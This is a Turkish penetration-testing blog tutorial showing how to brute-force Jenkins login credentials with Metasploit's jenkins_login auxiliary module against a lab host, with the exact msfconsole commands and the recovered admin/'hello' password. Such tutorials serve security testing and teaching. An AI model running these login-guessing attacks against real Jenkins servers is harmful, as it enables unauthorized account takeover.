MSF jenkins_login Modülü ile Jenkins Uygulamasına Erişim Sağlanabilecek Hesaplara Ait Kimlik Bilgilerinin Tespit Edilmesi

Sızma testleri sırasında, hedef olarak belirlenen Jenkins uygulamasına erişim sağlayabilecek kullanıcı hesaplarının kimlik bilgilerinin tespit edilmesi gerekmektedir. Bu yazıda, MSF jenkins_login auxiliary modülü kullanılarak, kaba kuvvet (sözlük) saldırısı ile Jenkins yazılımına erişim sağlayabilecek hesaba ait kimlik bilgileri elde edilecektir.

Jenkins uygulamasının 192.168.30.139 IP adresinin TCP 9000. portundan hizmet veriyor olsun. Bu uygulamaya kaba kuvvet saldırı için kullanılabilecek hesapların adları ve parolaları; /root/Desktop/ dizini altına kaydedilmiş olan kimlik bilgileri ile tespit edilecektir.

Bu amaçla kullanılacak modül seçilir ve seçenekleri incelenir.

search jenkins
use auxiliary/scanner/http/jenkins_login
show options

 

Seçenekler ayarlanır.

set RHOSTS 192.168.30.139
set RPORT 9000
set USER_FILE /root/Desktop/Kullanicilar
set PASS_FILE /root/Desktop/Parolalar
set VERBOSE false
show options

 

Modül çalıştırılır ve kaba kuvvet saldırısı gerçekleştirilir.

run

 

Tarama sonucundan da görüldüğü gibi, uygulamaya “admin” ve “Admin” kullancı adları ve “hello” parolası ile giriş yapılabilir.

 

Böylece oturum açılmıştır.

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.